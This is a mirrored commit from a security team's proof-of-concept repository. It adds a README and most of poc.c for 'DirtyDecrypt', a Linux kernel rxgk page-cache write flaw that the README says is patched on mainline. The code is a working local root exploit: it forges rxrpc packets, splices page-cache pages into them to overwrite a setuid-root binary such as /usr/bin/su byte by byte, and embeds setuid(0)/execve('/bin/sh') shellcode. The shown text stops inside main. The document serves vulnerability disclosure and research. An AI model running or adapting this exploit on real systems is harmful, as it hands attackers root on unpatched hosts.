mirror of
https://github.com/v12-security/pocs.git
synced 2026-05-26 16:40:48 +00:00
Merge branch 'v12-security:main' into main
This commit is contained in:
commit
30bb4cd61e
13 changed files with 2010 additions and 0 deletions
12
dirtydecrypt/README.md
Normal file
12
dirtydecrypt/README.md
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
# DirtyDecrypt / DirtyCBC
|
||||||
|
|
||||||
|
DirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia. We found and reported this on [May 9, 2026](https://x.com/v12sec/status/2053029838995263854), but was informed it was a duplicate by the maintainers. We're releasing it now since it's patched on mainline. It's a rxgk pagecache write due to missing COW guard in rxgk_decrypt_skb. See `poc.c` for more details.
|
||||||
|
|
||||||
|
DirtyDecrypt was discovered autonomously with [V12](https://v12.sh) by Aaron Esau of the [V12 security team](https://x.com/v12sec).
|
||||||
|
|
||||||
|
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sha256sum ./poc.c
|
||||||
|
8054e424466ed2c353b94fb25643e17bef50b31be95038e1c700156357e2d74b ./poc.c
|
||||||
|
```
|
||||||
647
dirtydecrypt/poc.c
Normal file
647
dirtydecrypt/poc.c
Normal file
|
|
@ -0,0 +1,647 @@
|
||||||
|
/*
|
||||||
|
* rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb()
|
||||||
|
*
|
||||||
|
* net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
|
||||||
|
* crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template
|
||||||
|
* (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb
|
||||||
|
* frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback),
|
||||||
|
* the in-place decrypt corrupts the page cache.
|
||||||
|
*
|
||||||
|
* The same pattern exists in rxkad (rxkad_verify_packet_2).
|
||||||
|
*
|
||||||
|
* Exploitation uses a sliding-window technique to write arbitrary bytes to the
|
||||||
|
* pagecache one at a time. Each round fires a spliced rxgk packet at offset
|
||||||
|
* S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly
|
||||||
|
* random (1/256 chance of the target value). Round i+1 at offset S+i+1
|
||||||
|
* overwrites the 15 bytes of collateral from round i, but never touches the
|
||||||
|
* byte set by round i. This yields byte-granularity writes at ~256 fires per
|
||||||
|
* byte.
|
||||||
|
*
|
||||||
|
* Attack: rewrite /etc/passwd root entry → empty password → su root → flag.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <poll.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
|
||||||
|
#ifdef __has_include
|
||||||
|
# if __has_include(<linux/rxrpc.h>)
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
# else
|
||||||
|
# define NEED_RXRPC_DEFS
|
||||||
|
# endif
|
||||||
|
#else
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef AF_RXRPC
|
||||||
|
#define AF_RXRPC 33
|
||||||
|
#endif
|
||||||
|
#ifndef SOL_RXRPC
|
||||||
|
#define SOL_RXRPC 272
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef NEED_RXRPC_DEFS
|
||||||
|
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||||
|
#define RXRPC_SECURITY_KEY 1
|
||||||
|
#define RXRPC_MIN_SECURITY_LEVEL 4
|
||||||
|
#define RXRPC_SECURITY_ENCRYPT 2
|
||||||
|
#define RXRPC_USER_CALL_ID 1
|
||||||
|
struct sockaddr_rxrpc {
|
||||||
|
unsigned short srx_family;
|
||||||
|
uint16_t srx_service;
|
||||||
|
uint16_t transport_type;
|
||||||
|
uint16_t transport_len;
|
||||||
|
union {
|
||||||
|
unsigned short family;
|
||||||
|
struct sockaddr_in sin;
|
||||||
|
struct sockaddr_in6 sin6;
|
||||||
|
} transport;
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define RXGK_SECURITY_INDEX 6
|
||||||
|
#define ENCTYPE_AES128_CTS 17
|
||||||
|
#define AES_KEY_LEN 16
|
||||||
|
|
||||||
|
struct rxrpc_wire_header {
|
||||||
|
uint32_t epoch;
|
||||||
|
uint32_t cid;
|
||||||
|
uint32_t callNumber;
|
||||||
|
uint32_t seq;
|
||||||
|
uint32_t serial;
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t flags;
|
||||||
|
uint8_t userStatus;
|
||||||
|
uint8_t securityIndex;
|
||||||
|
uint16_t cksum;
|
||||||
|
uint16_t serviceId;
|
||||||
|
} __attribute__((packed));
|
||||||
|
|
||||||
|
#define RXRPC_PACKET_TYPE_DATA 1
|
||||||
|
#define RXRPC_PACKET_TYPE_CHALLENGE 6
|
||||||
|
#define RXRPC_LAST_PACKET 0x04
|
||||||
|
|
||||||
|
#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
||||||
|
|
||||||
|
/* --- helpers --- */
|
||||||
|
|
||||||
|
static long key_add(const char *type, const char *desc,
|
||||||
|
const void *payload, size_t plen, int ringid)
|
||||||
|
{
|
||||||
|
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int write_proc(const char *path, const char *buf)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
int n = write(fd, buf, strlen(buf));
|
||||||
|
close(fd);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- user/net namespace --- */
|
||||||
|
|
||||||
|
static void setup_ns(void)
|
||||||
|
{
|
||||||
|
uid_t uid = getuid();
|
||||||
|
gid_t gid = getgid();
|
||||||
|
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
|
if (unshare(CLONE_NEWNET) < 0) {
|
||||||
|
perror("unshare");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
write_proc("/proc/self/setgroups", "deny");
|
||||||
|
char map[64];
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", uid);
|
||||||
|
write_proc("/proc/self/uid_map", map);
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", gid);
|
||||||
|
write_proc("/proc/self/gid_map", map);
|
||||||
|
}
|
||||||
|
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s >= 0) {
|
||||||
|
struct ifreq ifr = {};
|
||||||
|
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
|
||||||
|
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
|
||||||
|
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
|
||||||
|
ioctl(s, SIOCSIFFLAGS, &ifr);
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- rxgk XDR token construction --- */
|
||||||
|
|
||||||
|
static void xdr_put32(uint8_t **pp, uint32_t val)
|
||||||
|
{
|
||||||
|
uint32_t nv = htonl(val);
|
||||||
|
memcpy(*pp, &nv, 4);
|
||||||
|
*pp += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put64(uint8_t **pp, uint64_t val)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)(val >> 32));
|
||||||
|
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)len);
|
||||||
|
memcpy(*pp, data, len);
|
||||||
|
*pp += len;
|
||||||
|
size_t pad = (4 - (len & 3)) & 3;
|
||||||
|
if (pad) { memset(*pp, 0, pad); *pp += pad; }
|
||||||
|
}
|
||||||
|
|
||||||
|
static int build_rxgk_token(uint8_t *out, size_t maxlen,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t *p = out;
|
||||||
|
struct timespec ts;
|
||||||
|
clock_gettime(CLOCK_REALTIME, &ts);
|
||||||
|
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
|
||||||
|
(uint64_t)ts.tv_nsec / 100ULL;
|
||||||
|
|
||||||
|
xdr_put32(&p, 0); /* flags */
|
||||||
|
xdr_put_data(&p, "poc.test", 8); /* cell */
|
||||||
|
xdr_put32(&p, 1); /* ntoken */
|
||||||
|
|
||||||
|
uint8_t tok[512];
|
||||||
|
uint8_t *tp = tok;
|
||||||
|
xdr_put32(&tp, RXGK_SECURITY_INDEX);
|
||||||
|
xdr_put64(&tp, now); /* begintime */
|
||||||
|
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
|
||||||
|
xdr_put64(&tp, 2); /* level = ENCRYPT */
|
||||||
|
xdr_put64(&tp, 864000000000ULL); /* lifetime */
|
||||||
|
xdr_put64(&tp, 0); /* bytelife */
|
||||||
|
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
|
||||||
|
xdr_put_data(&tp, base_key, keylen); /* key */
|
||||||
|
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
|
||||||
|
xdr_put_data(&tp, ticket, sizeof(ticket));
|
||||||
|
|
||||||
|
size_t toklen = (size_t)(tp - tok);
|
||||||
|
xdr_put32(&p, (uint32_t)toklen);
|
||||||
|
memcpy(p, tok, toklen);
|
||||||
|
p += toklen;
|
||||||
|
|
||||||
|
if ((size_t)(p - out) > maxlen) return -1;
|
||||||
|
return (int)(p - out);
|
||||||
|
}
|
||||||
|
|
||||||
|
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t buf[1024];
|
||||||
|
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
|
||||||
|
if (n < 0) return -1;
|
||||||
|
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- AF_RXRPC client + fake UDP server --- */
|
||||||
|
|
||||||
|
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
|
||||||
|
{
|
||||||
|
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
|
||||||
|
keyname, strlen(keyname)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
int min_level = RXRPC_SECURITY_ENCRYPT;
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
|
||||||
|
&min_level, sizeof(min_level)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = 0;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(local_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
|
||||||
|
{
|
||||||
|
char data[] = "TESTDATA";
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = service_id;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(srv_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_name = &srx;
|
||||||
|
msg.msg_namelen = sizeof(srx);
|
||||||
|
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = cmsg_buf;
|
||||||
|
msg.msg_controllen = sizeof(cmsg_buf);
|
||||||
|
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_level = SOL_RXRPC;
|
||||||
|
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
|
||||||
|
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
|
||||||
|
|
||||||
|
int fl = fcntl(cli_fd, F_GETFL);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
ssize_t n = sendmsg(cli_fd, &msg, 0);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl);
|
||||||
|
|
||||||
|
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
|
||||||
|
return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_udp_server(uint16_t port)
|
||||||
|
{
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s < 0) return -1;
|
||||||
|
struct sockaddr_in sa = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_port = htons(port),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001),
|
||||||
|
};
|
||||||
|
int one = 1;
|
||||||
|
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||||
|
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||||
|
close(s); return -1;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ssize_t udp_recv(int s, void *buf, size_t cap,
|
||||||
|
struct sockaddr_in *from, int timeout_ms)
|
||||||
|
{
|
||||||
|
struct pollfd pfd = { .fd = s, .events = POLLIN };
|
||||||
|
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
|
||||||
|
socklen_t fl = from ? sizeof(*from) : 0;
|
||||||
|
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fire one splice-based pagecache corruption at the given file offset.
|
||||||
|
* Sets up an rxgk connection with the provided key, completes the handshake
|
||||||
|
* via a fake UDP server on loopback, then splices pagecache pages into a
|
||||||
|
* forged DATA packet. The kernel's in-place decrypt corrupts the pagecache.
|
||||||
|
*
|
||||||
|
* Returns 1 on fire, -1 on setup error.
|
||||||
|
*/
|
||||||
|
static int trigger_seq = 0;
|
||||||
|
|
||||||
|
static int fire(int target_fd, off_t splice_off, size_t splice_len,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
char keyname[32];
|
||||||
|
snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);
|
||||||
|
|
||||||
|
long key = add_rxgk_key(keyname, base_key, keylen);
|
||||||
|
if (key < 0) return -1;
|
||||||
|
|
||||||
|
/* Use high-entropy ports to avoid TIME_WAIT collisions */
|
||||||
|
uint16_t port_S = 10000 + (rand() % 27000) * 2;
|
||||||
|
uint16_t port_C = port_S + 1;
|
||||||
|
int ret = -1;
|
||||||
|
|
||||||
|
int udp_srv = setup_udp_server(port_S);
|
||||||
|
if (udp_srv < 0) goto out_key;
|
||||||
|
|
||||||
|
int cli = setup_rxrpc_client(port_C, keyname);
|
||||||
|
if (cli < 0) goto out_udp;
|
||||||
|
|
||||||
|
if (initiate_call(cli, port_S, 1234) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
uint8_t pkt[2048];
|
||||||
|
struct sockaddr_in cli_addr;
|
||||||
|
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
|
||||||
|
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
|
||||||
|
|
||||||
|
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
|
||||||
|
uint32_t epoch = ntohl(hdr->epoch);
|
||||||
|
uint32_t cid = ntohl(hdr->cid);
|
||||||
|
uint32_t callN = ntohl(hdr->callNumber);
|
||||||
|
uint16_t svc = ntohs(hdr->serviceId);
|
||||||
|
uint16_t cport = ntohs(cli_addr.sin_port);
|
||||||
|
|
||||||
|
/* send challenge */
|
||||||
|
{
|
||||||
|
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
|
||||||
|
memset(ch, 0, sizeof(ch));
|
||||||
|
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
|
||||||
|
c->epoch = htonl(epoch);
|
||||||
|
c->cid = htonl(cid);
|
||||||
|
c->serial = htonl(0x10000);
|
||||||
|
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
|
||||||
|
c->securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
c->serviceId = htons(svc);
|
||||||
|
for (int i = 0; i < 20; i++)
|
||||||
|
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
|
||||||
|
struct sockaddr_in to = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
sendto(udp_srv, ch, sizeof(ch), 0,
|
||||||
|
(struct sockaddr *)&to, sizeof(to));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* drain response(s) */
|
||||||
|
for (int i = 0; i < 3; i++) {
|
||||||
|
struct sockaddr_in src;
|
||||||
|
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* forge DATA packet: wire header from userspace, payload from pagecache */
|
||||||
|
struct rxrpc_wire_header mal = {0};
|
||||||
|
mal.epoch = htonl(epoch);
|
||||||
|
mal.cid = htonl(cid);
|
||||||
|
mal.callNumber = htonl(callN);
|
||||||
|
mal.seq = htonl(1);
|
||||||
|
mal.serial = htonl(0x42000);
|
||||||
|
mal.type = RXRPC_PACKET_TYPE_DATA;
|
||||||
|
mal.flags = RXRPC_LAST_PACKET;
|
||||||
|
mal.securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
mal.serviceId = htons(svc);
|
||||||
|
|
||||||
|
struct sockaddr_in dst = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
int p[2];
|
||||||
|
if (pipe(p) < 0) goto out_cli;
|
||||||
|
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
|
||||||
|
if (vmsplice(p[1], &viv, 1, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
loff_t off = splice_off;
|
||||||
|
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
close(p[0]); close(p[1]);
|
||||||
|
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
/* drain the error from the client socket (HMAC check fails as expected) */
|
||||||
|
int fl = fcntl(cli, F_GETFL);
|
||||||
|
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
|
||||||
|
struct msghdr m = {0};
|
||||||
|
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
|
||||||
|
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
|
||||||
|
m.msg_iov = &iv; m.msg_iovlen = 1;
|
||||||
|
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
|
||||||
|
recvmsg(cli, &m, 0);
|
||||||
|
}
|
||||||
|
ret = 1;
|
||||||
|
|
||||||
|
out_cli:
|
||||||
|
close(cli);
|
||||||
|
out_udp:
|
||||||
|
close(udp_srv);
|
||||||
|
out_key:
|
||||||
|
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- sliding window write with progress display --- */
|
||||||
|
|
||||||
|
static void progress(int done, int total, int fires)
|
||||||
|
{
|
||||||
|
int width = 40;
|
||||||
|
int filled = total ? (done * width / total) : 0;
|
||||||
|
int pct = total ? (done * 100 / total) : 0;
|
||||||
|
fprintf(stderr, "\r [");
|
||||||
|
for (int j = 0; j < width; j++)
|
||||||
|
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
||||||
|
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
||||||
|
if (done == total) fputc('\n', stderr);
|
||||||
|
fflush(stderr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int pagecache_write(int rfd, void *map, off_t base,
|
||||||
|
const uint8_t *target, int len, off_t file_size,
|
||||||
|
const char *label)
|
||||||
|
{
|
||||||
|
uint8_t key[16];
|
||||||
|
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
||||||
|
struct timespec t0;
|
||||||
|
clock_gettime(CLOCK_MONOTONIC, &t0);
|
||||||
|
int total = 0;
|
||||||
|
|
||||||
|
int max_off = (int)(file_size - 28);
|
||||||
|
if (base + len - 1 > max_off)
|
||||||
|
len = max_off - (int)base + 1;
|
||||||
|
|
||||||
|
/* Find first byte that differs. We must write everything from there
|
||||||
|
* onward, because each round's 15-byte damage zone corrupts the next
|
||||||
|
* bytes even if they originally matched. */
|
||||||
|
int start = 0;
|
||||||
|
for (int i = 0; i < len; i++) {
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, base + i);
|
||||||
|
if (cur != target[i]) { start = i; break; }
|
||||||
|
if (i == len - 1) {
|
||||||
|
LOG("pagecache already matches, skipping write");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int need = len - start;
|
||||||
|
|
||||||
|
LOG("writing shellcode to %s (%d bytes from offset %d)",
|
||||||
|
label, need, (int)base + start);
|
||||||
|
progress(0, need, 0);
|
||||||
|
|
||||||
|
for (int i = start; i < len; i++) {
|
||||||
|
off_t off = base + i;
|
||||||
|
uint8_t want = target[i];
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, off);
|
||||||
|
|
||||||
|
if (cur == want && i > start) {
|
||||||
|
/* Byte matches AND we haven't just written (no damage pending).
|
||||||
|
* This only happens for the first byte after start, which is
|
||||||
|
* impossible since start IS the first diff. After that, each
|
||||||
|
* round's damage means we always write. Just be safe: */
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ok = 0;
|
||||||
|
for (int att = 0; att < 10000; att++) {
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
uint64_t r = seed;
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
memcpy(key, &r, 8);
|
||||||
|
memcpy(key + 8, &seed, 8);
|
||||||
|
|
||||||
|
size_t slen = 28;
|
||||||
|
if (off + (off_t)slen > file_size) slen = file_size - off;
|
||||||
|
if (slen < 16) slen = 16;
|
||||||
|
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
||||||
|
total++;
|
||||||
|
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
||||||
|
ok = 1;
|
||||||
|
progress(i - start + 1, need, total);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!ok) {
|
||||||
|
fprintf(stderr, "\n");
|
||||||
|
ERR("byte %d/%d failed", i - start + 1, need);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct timespec t1;
|
||||||
|
clock_gettime(CLOCK_MONOTONIC, &t1);
|
||||||
|
double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
|
||||||
|
LOG("%d fires in %.1fs", total, dt);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
||||||
|
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
||||||
|
* Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64).
|
||||||
|
* PT_LOAD covers 120 bytes; the 15-byte sliding-window damage
|
||||||
|
* tail at offset 120+ is past the loadable segment. */
|
||||||
|
static const uint8_t tiny_elf[] = {
|
||||||
|
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
||||||
|
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
||||||
|
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */
|
||||||
|
0x6a,0x3b,0x58, /* push 59; pop rax */
|
||||||
|
0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* --- main --- */
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
(void)argc; (void)argv;
|
||||||
|
srand(time(NULL) ^ getpid());
|
||||||
|
|
||||||
|
fprintf(stderr, "\n=== rxgk pagecache write ===\n");
|
||||||
|
fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid());
|
||||||
|
|
||||||
|
/* Target: any setuid-root binary readable by us. */
|
||||||
|
const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
||||||
|
"/usr/bin/passwd", "/usr/bin/chsh", NULL };
|
||||||
|
const char *target_path = NULL;
|
||||||
|
for (int i = 0; targets[i]; i++) {
|
||||||
|
struct stat sb;
|
||||||
|
if (stat(targets[i], &sb) == 0 &&
|
||||||
|
(sb.st_mode & S_ISUID) &&
|
||||||
|
sb.st_uid == 0 &&
|
||||||
|
access(targets[i], R_OK) == 0) {
|
||||||
|
target_path = targets[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!target_path) { ERR("no readable setuid-root binary found"); return 1; }
|
||||||
|
|
||||||
|
/* Back up the target binary so the root shell can restore it. */
|
||||||
|
char backup[256];
|
||||||
|
const char *base = strrchr(target_path, '/');
|
||||||
|
base = base ? base + 1 : target_path;
|
||||||
|
snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid());
|
||||||
|
{
|
||||||
|
int src = open(target_path, O_RDONLY);
|
||||||
|
int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||||
|
if (src >= 0 && dst >= 0) {
|
||||||
|
char buf[4096];
|
||||||
|
ssize_t n;
|
